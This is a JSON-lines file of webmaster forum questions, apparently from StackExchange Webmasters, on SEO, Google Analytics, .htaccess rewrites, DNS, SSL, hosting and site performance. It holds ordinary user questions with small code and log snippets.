{"id":"5246","title":"Estimating where my competitor is getting most of their traffic from? Organic, PPC, or other?","text":"I'm trying to figure out how\/where a website gets its traffic. How are they successful with bringing in traffic? Via Organic, PPC, other? What is the best approach to estimating this? My thought is to look at their top keywords from the meta tag, plug that into google keyword analysis tool to see how much traffic is generally brought to that site, and try to estimate how much of that traffic results in clicks (perhaps by using estimated PPC performance for that keyword using traffic estimation tool by google). What do you think about this? But that would just cover traffic from google. How about traffic from other sites like yahoo, bing, etc, etc..twitter, facebook, other links from other sites... how does one estimate this without spending days and days? There has to be an app or easier way. Any thoughts? THanks."}
{"id":"33013","title":"Why don't websites have contact emails?","text":"I find websites having a contact form which you must put in your own email address. It is frustrating because I would rather send an email my self. What is the rationale for doing this and not providing a contact email? How can I find contact emails for sites which don't provide it?"}
{"id":"53014","title":"Compare referrer domains over time in Google Analytics without an \"all traffic\" line?","text":"I would like to look at my referral traffic over time on a per domain-basis in Google Analytics. This is what I have done: 1. Set New visits as advanced segment 2. Navigated to traffic-sources -> Referrals 3. Checked a coulple of domains 4. Clicked plot rows The individual domains now show up in the graph, but the problem is that \"all traffic\" is also visible. All traffic is much bigger than the graphs for individual domains. This makes it very hard to see any changes as they look all values are Zero. Is there any way to hide \"Visists\" from the graph in order to zoom in on the vertical axis?"}
{"id":"42704","title":"Are co.uk domains and the likes subdomains?","text":"I was wondering, are co.uk domains and others with an additional dot subdomains? If not, why not, and if so, can you create sub-sub domains?"}
{"id":"69016","title":"Use SSL with HTTP","text":"Just wondering, is there a way to use SSL without HTTPS and run it on HTTP? I don't want to know this to end up using this in production, but I'm just wondering to improve my knowledge of the possibilities with such protocols."}
{"id":"7026","title":"should I move my completed site from it's subdomain to it's own hosting? Will it hurt SEO","text":"I have one hosting account and about 11 domains. The domains are completely individual not having content, topic or themes in common, 11 indidivual domains and websites. To save some cash up front I created subdomains each website\/domain is on a subdomain using the one hosting account. People access the sites through their own URL's (www.bedbugsnorthwest.com, www.solartravel.net) etc. Would it be better for the sites for SEO to each have their own individual hosting account and not be a subdomain of the main account www.oldrockers.org? Thanks."}
{"id":"38877","title":"merging Google Analytics data after subsite namechange","text":"We have been using Google Analytics for several years. About a year ago, we moved our blog from blog.oursite.com to oursite.com\/blog. Overall, great move. But now there is now way to compare blog analytics prior to the changeover with the older data. Is there a simple way around this? Some way to set up a profile for the blog that includes both subdomains (well, subdomain + domain)?"}
{"id":"56032","title":"Revoked certificate causes browser alerts to not trust website when accessed via SSL","text":"I revoked the certificate for my website and now every time I navigate to its SSL version, e.g. https:\/\/example.com, I get an alert from all browsers that the site should not be trusted. How can resolve this issue when someone tries to open the site from HTTPS?"}
{"id":"59305","title":"Is it helpful or harmful to create SEO filler pages?","text":"I'm not sure exactly what these \"filler pages\" are called, so I couldn't do a proper search. If I have a business, say a plumbing\/heating company in NYC, and I created these HTML pages: New-York-City-plumbing-company.html Manhattan-plumbing-company.html Brooklyn-plumbing-company.html New-York-City-heating-service.html Manhattan-heating-service.html Brooklyn-heating-service.html and the content for each page **type** was the same, except the name of the city\/neighborhood changed, i.e. <h1>[Neighborhood] Plumbing Company<\/h1> <p>description of plumbing service<\/p> <h1>[Neighborhood] Heating Service<\/h1> <p>description of heating service<\/p> Would this be helpful, harmful, or neutral in terms of SEO? I'm a little afraid Google might see that 95% of the content is the same, minus the name of the neighborhood, and punish my site for it."}
{"id":"44938","title":"Geotargeted subfolder questions (Portugal\/Brazil and Switzerland)","text":"We are at the beginning of the process to get multilingual versions of a website. We will be using subfolders working off the core domain (eg `mydomain.com\/fr\/`), set the geotargeting at Webmaster Tools and set `hreflang` attribute. I would really appreciate your help with a couple of questions. 1. Portuguese: we will have a Portuguese language version of the site. Our intention is to use this to cover users in both Portugal and Brazil. ie, we are not going to do separate folders `mydomain.com\/pt\/` and `mydomain.com\/br\/` Can I use 2 `hreflang` attributes for this language version to tell Google it covers Brazil and Portugal? What country code to use for this subfolder? 2. Switzerland: Does anyone have best practice advice how to do this? On one hand, the subfolder should be `mydomain.com\/ch\/` but as Switzerland covers 2 language possibilities (French and German) - what to do?"}
{"id":"50287","title":"Is a Tumblr blog on my site good for SEO?","text":"I have a Tumblr blog on my \"news\" page on my website so if I keep this updated regularly will this improve my SEO and should I link it to my Facebook and Twitter?"}
{"id":"3006","title":"Looking for ideas for a site map page on the website","text":"We have a site with a lot of pages. We are in some of the final stages of redesigning the site and am looking for some examples of good site map designs we can be inspired by. Have you seen any good designs we can look at to be inspired by?"}
{"id":"726","title":"How to allow custom domains from end-users?","text":"This is one of the things that has interested me for awhile, and I know that the service I am developing would greatly benefit from this. Various sites (Ning, Tumblr, Wordpress, etc) allow users to point their own domain at the site , where it is automatically configured to redirect to their own personal space within the service. What do I need to do to achieve this for my own uses? What type of environment is best optimized for this sort of functionality? And are there any serious risks I need to be aware of when attempting this?"}
{"id":"139","title":"How do I implement URL rewriting in my .htaccess file?","text":"I'd like to do some URL rewriting (Why? See this question.) so that instead of users seeing addresses like > labouseur.com\/course-compilers.html they can instead see and use simply > labouseur.com\/course-compilers (Even better, maybe I should restructure that so that it's courses\/compilers.) I'm using a Linux-based shared hosting service for my website, so I do not have administrative control of the server, but I do have control over .htaccess. The references I've read online seemed less than clear to me, so I'm looking for a little clarity and advice here. Thanks!"}
{"id":"14304","title":"Domain hijack or spam?","text":"I've changed my DNS from a host to a new host. It took about a day to propagate. Now my site has factious home page from a \"searchdiscovered.com\". I crosschecked the DNS, it is as required by the new host.The \"searchdiscovered.com\" pages are not inserted by the new host either. My question is : Is it possible to for someone to insert their homepage while the DNS propagation is in progress? What is the way out?"}
{"id":"28469","title":"Is PhotoBucket a viable solution to host a website's photo galleries","text":"I'm currently working with a lot of photographers and will probably be picking up development on a professional photography site soon. With that in mind, and I can't stop thinking about a way I can implement a user-friendly photo gallery hosting solution where the site owner can upload images themselves without any webmaster intervention. Kind of like a CMS for image hosting. The idea is: - The user can log in to PhotoBucket - Upload their gallery - Visit an admin section of the site - Enter the new gallery name to the listing And... Voila, the gallery automagically gets displayed on the website in a clean lightbox-style presentation format (ie, no iframe nonsense). I took a brief look at the API and it looks promising. Is this a viable solution? Bonus points if you have implemented something like this with Photobucket and\/or another 3rd-party image hosting site. _Note: Purchasing a premium account is expected if necessary. The limitations on free accounts at most image hosting sites are just too restrictive to be useful._"}
{"id":"57548","title":"how to stop getting hits from comment spam","text":"I have been hosting a photoblog using pixelpost, but have realised it was a haven for comments spam. i've since migrated the site to tumblr. the original site was an add-on domain to my hosting plan and the site was available at a domain name as well as through a subfolder on my main domain. this old photoblog is getting hits around 3 a minute 24\/7 targeting maindomain.tld\/subfolder. i've set htaccess to issue a 403 for this folder. the referrer is either blank or coming from my maindomain.tld Is there any other ways to stop these hits? will the spammers get the message from the 403 and eventually stop? how long can this take? are there any other steps i should take? thanks snippet of error log: [Tue Jan 28 08:56:23 2014] [error] [client 27.159.195.66] client denied by server [Tue Jan 28 08:55:59 2014] [error] [client 27.159.205.59] client denied by server [Tue Jan 28 08:55:11 2014] [error] [client 212.83.191.177] client denied by server [Tue Jan 28 08:54:17 2014] [error] [client 212.83.137.63] client denied by server [Tue Jan 28 08:53:46 2014] [error] [client 27.159.193.51] client denied by server [Tue Jan 28 08:53:31 2014] [error] [client 27.159.195.66] client denied by server [Tue Jan 28 08:53:29 2014] [error] [client 27.159.195.66] client denied by server [Tue Jan 28 08:52:30 2014] [error] [client 117.26.254.132] client denied by server [Tue Jan 28 08:51:37 2014] [error] [client 192.99.4.25] client denied by server co [Tue Jan 28 08:51:33 2014] [error] [client 27.159.205.69] client denied by server [Tue Jan 28 08:50:45 2014] [error] [client 216.107.136.125] client denied by serve [Tue Jan 28 08:50:45 2014] [error] [client 27.159.195.66] client denied by server [Tue Jan 28 08:48:41 2014] [error] [client 212.83.137.63] client denied by server [Tue Jan 28 08:48:37 2014] [error] [client 212.83.191.177] client denied by server [Tue Jan 28 08:48:20 2014] [error] [client 5.153.235.237] client denied by server [Tue Jan 28 08:48:15 2014] [error] [client 209.148.82.163] client denied by server [Tue Jan 28 08:48:14 2014] [error] [client 198.27.74.32] client denied by server c [Tue Jan 28 08:47:27 2014] [error] [client 216.107.136.125] client denied by serve [Tue Jan 28 08:47:19 2014] [error] [client 212.83.137.63] client denied by server [Tue Jan 28 08:46:28 2014] [error] [client 198.13.115.226] client denied by server [Tue Jan 28 08:46:13 2014] [error] [client 27.159.212.23] client denied by server [Tue Jan 28 08:45:24 2014] [error] [client 118.175.92.74] client denied by server"}
{"id":"67325","title":"Track a Goal conversion in Google Analytics for filling in a contact form when the URL stays the same","text":"If a contact form's URL stays the same after submitting the form, how can I track goal conversions in Google Analytics for filling in the form? Normally I would add the confirmation page's URL into the Goal in Google Analytics, but on this particular site when submitting the form, the content dynamically changes to say \"thank you\", rather than a new URL loading."}
{"id":"18351","title":"When opening a local HTML file, how do I ensure I get the content not a cached version?","text":"I have an issue where the newest content of a local HTML file is sometimes not displayed. Instead, the browser shows a cached version. The workaround is to press `<Ctrl>`+`<F5>` but I'd like to resolve this programmatically. Specifically, I download an HTML file and open it in my browser. Later I download a newer version of the file (with the same file name). The newer file has different content but some browsers, sometimes still show the old content from the cache. I'm having trouble consistently reproducing the error but when it occurs it's very irritating. I've found two possible solutions but because of the difficulty reproducing the error, I can't confirm that either of them are correct. One possible solution is the following Javascript: <script type=\"text\/javascript\"> window.location.reload(true); <\/script> Another is the following metatags: <META HTTP-EQUIV=\"Expires\" CONTENT=\"Tue, 01 Jan 1980 1:00:00 GMT\"> <META HTTP-EQUIV=\"Pragma\" CONTENT=\"no-cache\"> <META HTTP-EQUIV=\"Cache-Control\" CONTENT=\"no-cache\"> Is it this simple? If so, does it work for Ch, IE & FF? Is there a totally different solution that I've missed?"}
{"id":"20335","title":"Why is Google offering users the ability to block results from my site?","text":"I was performing a search for a string and one of the pages was from one of my websites. However, I noticed something odd about the entry for my site:  This was the only page in the search results with such a link. Also, the page in question does not exist - it was moved to another URL months ago. That leaves me with the following concerns: * Why is it there _and only on my site_? * How can I get Google to stop showing it? * Is it even possible to get Google to stop showing it? * Is there a better way my pages could be organized that would prevent this message?"}
{"id":"1588","title":"Should I use mixed content on my blog?","text":"I have a blog. (just started) I am having a confusion whether I should keep the blog focused on only one subject (for instance, technology) or not? If I post different posts on various topics (with proper categorization), will it affect my traffic? i.e. If I write about technology, photography, personal experiences and some more, will it affect my readers' mindset? Also, can I use a regional language for some posts?"}
{"id":"53437","title":"Finding the search terms behind 'not provided'","text":"We use Google Analytics to track the vistors to our websites, were currently putting together a big audit of our SEO and one of the things we want to see is what search terms are working for us. About 90% of our organic search traffic comes under **'not provided'** which as i understand means a user is signed into a Google account when coming to our site, thus Google doesn't track their search terms. This makes it really hard to conduct a meaningful study, (i suppose we could get the data of the 10% that we do have search terms for and multiply them it but i dont think thats a particularly good or meaningful approach). Is there a workaround to see behind the **'not provided'** data and see the search terms actually used ? * * * **UPDATE** I read this article last night from Hacker news, which states : > [using https will allow you] more complete referrer information in Google > Analytics for people visiting from sites already using HTTPS and contained a link to this SO thread, it seems to say that because Google's users are using https that an https site cannot pass data to an http site, as the http site is not secure, none of the sites i manage have https \/ sll setup, could some one confirm if Google will pass you more referrer data if your site has https implemented ?"}
{"id":"20331","title":"Will robots.txt block crawling things like menu and footer links?","text":"If I am blocking a page called pay.php, google won't crawl this page. But what about the links that are on this page as default as menu and footer links? Will these links also be blocked from crawling? But I see that only one page is getting restricted by google bot other than pay.php page, and not other links. Why would this be?"}
{"id":"27452","title":"SEO strategy for h1, h2, h3 tags for list of items","text":"On a page on my website page I have a list of ALL the products on my site. This list is growing rapidly and I am wondering how to manage it from an SEO point of view. I am shortly adding a title to this section and giving it an H1 tag. Currently the name of each product in this list is not h1,2,3,4 its just styled text. However I was looking to make these h2,3,4. Questions: 1. Is the use of h2,3,4 on these list items bad form as they should be used for content rather than all links? 2. I am thinking of limiting this main list to only 8 items and using h2 tags for each name. Do you this this will have a negative or possible affect over all. 3. I may create a piece of script which counts the first 8 items on the list. These 8 will get the h2, and any after that will get h3 (all styled the same). 4. If I do add h tags should I put just on the name of the product or the outside of the a tag, therefore collecting all info. 5. Has anyone been in a similar situation as this, and if so did they really see any significant difference?"}
{"id":"35563","title":"Do search engines penalise 'Home' links and\/or buttons?","text":"I had a client recently express his feelings about not having a 'home' link or a 'home' button on a website. I told him I would consult someone who knows, but I've never personally heard anything about this on whether they a penalizing for 'home' links and\/or buttons. Can anyone give a me a hard answer on this."}
{"id":"38013","title":"Deny access to directory content on shared hosting service","text":"My Website is hosted on a shared Apache server. How can I deny access to directory content pages so if someone goes to the address www.mywebsite.com\/directory they don't see the following: Index of \/directory Parent Directory * mycontent\/ * moreofmycontent\/"}
{"id":"17961","title":"Should I use same google adsense ad block on different site","text":"I have couple of sites Like `http:\/\/domain.com`, `http:\/\/sub1.domain.com`, `http:\/\/sub2.domain.com` and suppose i have a ad block 300x250 Can i use the ads to all those sites or i should make different ad block to use in every site? Does it affect the ad relevancy?"}
{"id":"443","title":"How do I get Google to show links to my site hierarchy in search results?","text":"I have recently noticed that for some websites, Google is linking to different locations in the site hierarchy instead of just the destination page URL. For instance, searching for \"Malibu Rum Drink Recipes\" results in an entry at Bar None Drinks that shows the following: > Drink recipes containing Malibu Rum > Choose from our collection of great drinks made with Malibu Rum. > www.barnonedrinks.com > Drinks > By Ingredient > M Each of the individual segments between the \">\" marks are clickable and take you to that section of the site. How do I get Google to show this for my site?"}
{"id":"33091","title":"How do websites get extra information in Google results?","text":"> **Possible Duplicate:** > How do I get Google to show links to my site hierarchy in search results? On Stack Overflow and many other websites, I've noticed there is some extra information under the result link. For example:  The _\"6 answers - Jul 31, 2011\"_ part is what I'm talking about. Does Google automatically do this or does the website have to do something to make Google add this extra information in search results?"}
{"id":"52121","title":"Google list with angle bracket in url","text":"Is anyone can help me, how can i make my website that google in search list will show the URL like this (www.ask.com › All › Apps, Gadgets, Computers & Games)? example Separated by angle brackets, and any part can separately choosen. Thank You for help!"}
{"id":"67556","title":"Error: You do not have permission to create subdomains of the server’s hostname","text":"Attempting to add a subdomain to a client's WHM\/cPanel VPS. Getting the error: `There was a problem creating the sub-domain: You do not have permission to create subdomains of the server’s hostname. `"}
{"id":"67552","title":"How can I avoid duplicate titles and descriptions on user-generated pages?","text":"I want to allow my users to upload images to my website with a location and a comment and to share that page on social media. I was planning to have the comment and image as content for SEO, but I'm trying to figure out what to set the page title and description to. When the user uploads an image, I was planning to use the location in the page title (E.g. John, Los Angeles, California - or something similar) and the comment as the page description (cut to a maximum of 150 characters). However, this could lead to duplicate titles and descriptions, especially if a user uploads the same image, location and comment multiple times for some reason. Is there a good way to handle this or to handle page titles and descriptions on user-generated site pages? Thanks in advance, Ian"}
{"id":"30658","title":"Should I use mod_wsgi embedded mode if I have full control of Apache?","text":"I'm managing a bunch of sites and applications in a shared hosting, using Django via `mod_wsgi`. I had planned to use daemon mode from the beginning (to avoid restart problems), but ended up purchasing a plan that allows me to run a dedicated Apache instance. I kept using daemon mode for convenience, but I'm afraid it's consuming more server resources than it should (I have different projects for each site, each with its own process and process group), so I'm considering switching to embedded mode. Would that be a sensible thing to do? I'd still be able to restart Apache anytime I need to, and I wouldn't need so many child processes and sockets (so I hope the resource usage would decrease). But I'm unsure whether or not doing so would make it more difficult to manage those sites (if I need to update one, I have to restart all) or maybe the applications won't be properly isolated from one another. Are these problems really significant (or only a minor nuisance), are there other drawbacks I coudn't foresee? I'm looking for advice in any aspect of this setup - mainainability, performance, security etc. Tips for improving the current setup are also welcome (I know how to correctly configure a basic `mod_wsgi` setup, but I'm clueless about sensible values for `threads`, `processes` etc)."}
{"id":"59994","title":"After cloning WP and deleting all posts and pages, some previous domain links are found by Google","text":"Through the clone function in Softaculous, I cloned a WP installation to a brand new domain. First thing, I deleted all posts, pages, media, etc. then I created a few new pages, generated a sitemap with All in One SEO, checked it, and submitted it to Google Webmaster Tools. To my surprise, there are 3 crawl errors, pointing to pages of the old site. I looked everywhere but I can't understand where Google got those links! Where can they hide?"}
{"id":"53433","title":"How to stop member login from showing as a bounce","text":"I have a members site and I am looking for a way to stop users who just hits the home page then logs in from showing as bounce in the system? e.g. the user journey is something like. www.mywebsite.com -> login.mywebsite.com So if this happens I would like to be able to either remove the user completely from GA or at lest not have it register as bounce?"}
{"id":"30374","title":"How to submit sitemap when your website has partial https? - Error: \"Not in Domain\"","text":"My website is an eCommerce that is set up to do HTTP for the item browsing portion, but HTTPS for things like shopping cart, contact us, etc.. (anything that has forms on it). I've submitted my website a long time ago to Google webmaster tools as `http:\/\/example.com`. I also submitted a sitemap with about 40 links - 8 of them are HTTPS. I've noticed that for the longest time, Google webmaster tools was reporting that 32 out of the 40 links have been crawled. I tested all the links against my robots.txt and realized that my robots text was blocking the HTTPS links. Google says those links are \"Not In Domain\". Is there a way I'm supposed to get around this so that I can have a hybrid-ssl site? I understand the concept that one site is mywebsite.com:80 and the other is mywebsite.com:443, but I'd like to avoid submitting and maintaining 2 separate websites on Google webmaster tools."}
{"id":"7288","title":"How to save a PNG as a smaller file but at the same resolution?","text":"not sure what stackexchange site is the best for this question. I have a scanned jpg file with below properties and size 8.5MB pixel dimension: 2468 × 3484 pixels print size: 208.96 × 294.98 millimeters resolution: 300 × 300 ppi I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same. Could anybody tell me what is used to define the size of the objects in the picture? I use Gimp to edit the file. # UPDATE SO what is happening is that a friend of my is an 'artist'. She draws a picture and scans it as jpg and send it to me. Then I work on it little bit ( get rid of some stuff that happened to be in the pic because of the scanning and making transparent what needs to be transparent) and then I send the final file to the printer company to be printed on a T-shirt. Last time I did mess it up (no idea what I did wrong) or the printing company so the objects on the T-shirt were bigger than the original one. Of course my friend didn't like that. So I finding our what I have to careful about so it will not happen again. The printing company accepts files in size less than 4MB but her pictures are always bigger than that. # UPDATE II Thank you for the advices. The last jpg file is 8MB big. The picture looks like that. Almost full A4 size. I need to (the best in gimp or some other free tool) 1. get rid of the black line at the top (I know how to do that) 2. rotate the image 3. make the white surroundings transparent (know how to do that) 4. make the file size less than 4MB. Preserving the quality as much as possible when I save png with points **1. & 3.** done as png in gimp the file size is **14.8MB** "}
{"id":"66934","title":"How can you diagnose the cause of slowness for some users but not all?","text":"We are getting reports from a handful of users that our web application is loading very slowly for them. So slowly that many of their page requests are timing out. The majority of our users are not experiencing this. The users who are getting the slowness don't have problems accessing any other site. We can log in to their instance of the application and from our connection everything is fast. We have set up screen-sharing with the affected users and have seen first-hand the slowness they are experiencing. These customers are getting very upset and blaming us, even though we believe the fault lies somewhere else. We're about to lose customers. tracert doesn't return anything. every request times out. I'm really out of my realm of expertise here and I have no idea where to begin hunting this issue down, any help would really be appreciated."}
{"id":"66939","title":"Possible to have an RDS > 3072GB on AWS?","text":"I am a complete newb to AWS. I have a MYSQL database that is about 4TB and growing each day and would like to move it to AWS. According to this link the maximum allocated storage size is 3072 GB. How can I run my DB on AWS? (I can think of a dozen of AWS's customers that have a DB > 3TB so there must be a way, right?)"}
{"id":"31533","title":"What is the difference between Cloud hosting and cPanel hosting?","text":"I just want to know whether both of these hosting model provides easy to use interface? Like phpMyAdmin and FTP server to upload file from FileZilla?"}
{"id":"31020","title":"Is it possible to have a better sql editor for phpMyAdmin?","text":"I am studying database systems and using MySQL and phpMyAdmin. The editor that comes with phpMyAdmin is plain editor that does not highlight any special syntax like for example: gEdit in ubuntu. Can I change the editor?"}
{"id":"31026","title":"Website speed issues","text":"I am developing a website however i have noticed speed issues, i am not sure whether is due to the location of the server. I am not a guru when it comes to performance or speed issues, but according to a website speed test it seems that it takes quite a long time to connect to the website. Speed Test Results Can someone suggest something or give me some tips, the website address is http:\/\/www.n1bar.com"}
{"id":"65571","title":"What does I\/O Limit mean in a hosting package?","text":"I have a few questions about **I\/O limit** in a hosting package. Lets say a hosting package offers 1MB I\/O limit. * Does it mean that at any given time no more than 1MB data can be transferred from disk? * If I know the average page size (including its files), can I determine by this limit how many concurrent visitors this hosting package can handle? * If this limit is reached at any given time, are further requests dropped or delayed? * What are other things about I\/O limit I should be worried about? ------ After Stephen's answer, I'm adding this graph image from GoDaddy hosting account. "}
{"id":"5658","title":"Important fields in HTTP header from security perspective","text":"What are the Important fields in HTTP header from security perspective? I tried to google it but unable to find. Can anybody provide me a link to read about it? Thanks in advance."}
{"id":"42400","title":"Will text that appears dynamically (via javascript\/jquery) be indexed by search engines?","text":"> **Possible Duplicate:** > Does the Google spider render JavaScript? I'm writing an article that is broken up into sections, where the content of each section is hidden unless the user expands that section. To be more concrete, this is what I am talking about: http:\/\/jqueryui.com\/accordion\/#collapsible. In that example, the text for \"Section 1\" is visible whereas the text for all of the other sections do not appear. My question is, will the text contained in those other sections be accessible to search engines?"}
{"id":"38423","title":"SEO - Google and link cleaning \/ cloaking","text":"> **Possible Duplicate:** > Does the Google spider render JavaScript? This a SEO related question, not a code related one. **Googles own link cleaning \/ cloaking** Gå to http:\/\/www.google.com and search for something. 1. Hover the title and you will se a link to the page you want to go to. 2. The URL you see when hovering is NOT the link you are clicking on. 3. Instead of clicking you can drag the title a little bit and then hover it. Then you will se the real URL. **My own link cleaning \/ cloaking** 1. Go to http:\/\/jsfiddle.net\/NvmER\/1\/ and click the link, or look at the code below. 2. You will be \"redirected\" to http:\/\/www.test.com. 3. The real link are http:\/\/www.test.com\/?event=23 **Working code in case jsfiddle don't work** If you need to se how it works I pasted a code below. <a class=\"direct\" href=\"http:\/\/www.test.com\/?event=23\" data-redirect=\"http:\/\/www.test.com\">Länk<\/a> $(document).ready(function() { $(\"a.direct\").live(\"mousedown\", function(e){ var oldurl = $(this).attr('href'); var newurl = $(this).attr('data-redirect'); $(this).attr('href', newurl); }); }); **Question** Is this ok with Google? It's done with javascript. If you have an answer, link to a source or test to support it."}
{"id":"57980","title":"Question about external JavaScript and SEO","text":"I have a question about external JavaScript and SEO. Assume I have a site called `example.com` with and index page of: <html> <body> <div class='main-container'> <script src='http:\/\/www.other.com\/page.js'><\/script> <\/div> <\/body> <\/html> and \/\/ at http:\/\/www.other.com\/page.js document.write('blue fish and green grass'); Will Google crawl what is outputted by `www.other.com\/page.js`? Are there any techniques or strategies to make that content crawlable so that the text 'blue fish and green grass' was indexed? ## Edit: This http:\/\/moz.com\/ugc\/can-google-really-access-content-in-javascript-really seems to suggest that it is not but is also somewhat dated."}
{"id":"29229","title":"Will crawlers find content that appears after document.ready using javascript?","text":"> **Possible Duplicate:** > Does the Google spider render JavaScript? I have a page that initially loads and looks pretty empty, but after it has loaded uses an ajax call to populate the content on the page (usually in under 1 second). Is this bad SEO practice? Will crawlers find my content?"}
{"id":"58495","title":"changing title and meta tags via jquery. will it work for crawlers?","text":"We have a scenario where we are getting our news articles from database on runtime. So we are chnaging our meta tags and title of the news-article page via jquery. Will this affect the crawling mechanism? Will the Google crawler read the dynamically created title and meta tags or not?"}
{"id":"59192","title":"Are text links that are NOT wrapped in anchor tags read by Google as backlinks?","text":"My wife is a writer and often has pieces published on other sites. The articles usually list a short bio and her blog URL but never seem to anchor link to her blog. They will write www.blogtitle.com in the bio but only as plain text. My question is does this count as a backlink to Google for SEO purposes? I'm guessing it doesn't so I've been trying to convince her to request a proper link back to her blog."}
{"id":"67882","title":"Apache Rewrite Rule non-www to www + http to https + remove trailing slash","text":"I would like to accomplish the following: * rewrite non-www to www * redirect from http to https * remove trailing slash e.g. http:\/\/example.co.uk should redirect to https:\/\/www.example.co.uk How would you structure a set of rules to do all of the above?"}
{"id":"63340","title":"How to set site specific Error Log files in PHP under IIS","text":"On Apache, vhosts can be configured with their own error log file, like so: ErrorLog \"my-site-log-dir\/error_log.log\" How would this be done when hosting PHP under IIS?"}
{"id":"67338","title":"Can't have CNAME for domains root, using noip to point to static host","text":"I'm aware that I'm unable to have a CNAME as the domains root under the ruling 3.6.2 of RFC 1034, however I'm using noip to point to a static hostname. Currently I have www pointed to my noip static hostname, and i've got an A record pointing to my IP address, the only problem is that i need that A record to point to my static hostname, otherwise what's the point in using noip? I may as well set all my records to point to my IP. Is there a way for me to perhaps 301 redirect mydomain.com to www.mydomain.com? My domain registrar is Heart Internet and as far as i've seen, they only offer me the choice to redirect my www.mydomain.com to something else. Thanks!"}
{"id":"67889","title":"mod_pagespeed not compressing images","text":"`mod_pagespeed` is not compressing images on my homepage. My current config has: AddOutputFilterByType MOD_PAGESPEED_OUTPUT_FILTER text\/html What is the usual setting people use for `mod_pagespeed` to get all the CSS, images, JS, etc. benefit?"}
{"id":"28286","title":"SEO company really need to know the language of the site they work on?","text":"I'm thinking to outsource SEO for my non-English site to the company listed on like elance.com or odesk.com But I'm wondering if they really can work on the none-English site when they don't speak the language of the site. Does the language ability of SEO company really matters for SEO itself? I'm not talking about click conversion rate or something bu purely SEO."}
{"id":"23739","title":"Does Yahoo Slurp crawl hammer a site?","text":"A lot of robots.txt examples seem to feature `Crawl-Delay` for Yahoo Slurp for up to 2 hours, is this because Yahoo Slurp tends to hammer a website and increase server load?"}
{"id":"48700","title":"How much can a particular domain be tainted from bad prior practices?","text":"If a site found at a particular domain has previously used very bad SEO practices and has thus been ranked poorly for most search queries on google, will using very good SEO practices from now on immediately improve its ranking as much as a fresh start? Or will there be a delay before it climbs the rankings? Or will the ranking be almost permanently capped so its a good idea to get a new domain name?"}
{"id":"48873","title":"I have added my site to google webmasters and bing webmasers but 0 backlinks","text":"I added my site to webmasters since 3 weeks, I did some SEO, posted anchored links in directories, some forums, local directories, and most of them are do follow. Then I wanted to check if Google can see the backlinks to my Google page rank rises I used MajesticSEO, SEOMOZ openExplorer, SEO Spy Glass But I don't see the backlinks, is this normal, maybe it takes time like after two months I can see the backlinks?"}
{"id":"23220","title":"How can I migrate from phpBB 3.x to SMF?","text":"I have a phpBB 3.x-based site which I would like to migrate to SMF - basically, all threads, posts, user accounts and possibly PMs. This seems to be possible, but I haven't been able to find a solid tutorial\/ guide that can help me through this. Does anybody have any experience doing this or know of a good guide that can help me out?"}
{"id":"6416","title":"What points should I include in my forum's community guidelines?","text":"I'm running a forum that's open to the public, which has predominantly been civil and on-task for the last 3.5 years. Recently, however, there's been an ongoing, unproductive dispute between a handful of users. We currently don't have explicit community guidelines, but, in light of this dispute, I'm thinking we should adopt some sort of code of conduct. How would you go about writing such a document? What points should I make sure to include?"}
{"id":"35074","title":"Keep Google Analytics in a backup site or not?","text":"I backed up my website and uploaded it to another server for testing and backup purposes. Should I remove or edit the Google Analytics snippet from the index.php (which is for the real site), or does it not matter as it's not the same server and url address as the one declared at Google Analytics account? The reason I don't want to remove it is in case someone forgets about it if they upload the backup to the real site in case the real one breaks. Also I know that if I turn off the website there is no GA snippet, but I need it open so I can easily access and test it so I don't have to write pass all the time."}
{"id":"7774","title":"Are there any sites that measure the page response speed of various hosting companies?","text":"I'm looking for the equivalent of consumer reports for hosting companies. But I would be happy with any neutral data comparing one site to another. Does anyone have any links to data the speed of various popular hosting sites versus one another? I've seen this question about measuring your own website, I want to see measurements for other hosts against each other."}
{"id":"7772","title":"look and feel of html5 applications?","text":"Where can I find a theme kit to use for my websites, to skin them as html5 applications... Sorry, I dunno how to explain myself.. I see this style in new web applications:  "}
{"id":"22080","title":"Validation Meta tags for search engines","text":"Should validation meta tags for search engines be left on the site following validation? For example, should I leave my msvalidate meta tag after I've validated the site."}
{"id":"31974","title":"Can I delete google verification txt file from server?","text":"> **Possible Duplicate:** > Validation Meta tags for search engines I verified ownership of a domain for Google Apps with the text\/html file option. Now I need to permanently redirect the domain to another server with .htaccess. Obviously google won't see file anymore. So I have two options: 1. Do nothing (same as deleting verification code). 2. Move file to new server where htaccess is redirecting to. Do i really need to drag around that file so my account stays verified? Or is it a one-time process?"}
{"id":"3915","title":"With Drupal, what's the best way to do backups and version control?","text":"Looking to create a rollback and recovery system that allows me to create monthly backups that are easy to use to do a restore with, but would also like to be able to log and rollback changes. It would be nice if the rollback system is not 100% linear, but able to clusters and type system dependences. Also, like it if the rollback system was a module, but that's not 100% required. If you have any questions, just ask -- thanks!!"}
{"id":"19483","title":"Loading 300dpi images for download","text":"How can I add 4x5 300 dpi images to my website for download from clients without the images being enlarged on the website?"}
{"id":"3918","title":"SEO url for multi-language site","text":"Are the following urls threated the same in SEO rank or is someone better than another? If, why? * language.domain.com\/page * domain.com\/language\/page"}
{"id":"8316","title":"I found the IP Addresses via Logs & Google AP. I have a question about the the GPI?","text":"I found out how to get all the IP addresses via Server Logs. I'm using the IP addresses to get the Latitude and Longitude. The address appear to be approx 1 3 miles away from the actual address of the vistor. Can someone explain why the GPI coordinates via IP address are not exactly matching the location of the user? Is there a more dependable way to get the address? Erik"}
{"id":"6734","title":"is there anything wrong with my sitemap.xml","text":"I had written an article over Highly searched keywords some days ago. When i search it in google using `top searched keywords article-stack`, it returns many results from my site. But none of them was really pointing to actual article. Is there anything wrong with sitemap.xml of my site or with google search?"}
{"id":"6735","title":"How to Conditionally Load @Font-Faces via CSS3?","text":"Curerntly, when you use a beautiful font, like for example the multiligual `Calibri` fotn (a win7 font), then it even downloads eventhough a user has the font already installed, when i use the following css: @charset \"utf-8\"; @font-face { font-family: Calibri; src: url('http:\/\/blabla.com\/calibri.eot') } **However:** this font is 400 kb gzipped, and i would like it to _ONLY_ download, if the font is NOT present or installed by that name \/ family name, right? **Question:** Is this possible to setup a neat conditional rule for this, for modern browsers (say IE8+, Firefox 3+ etc). How to implement it? Thanks for any and all clues!"}
{"id":"8313","title":"sorry, I deleted my question","text":"Sorry, I deleted this question"}
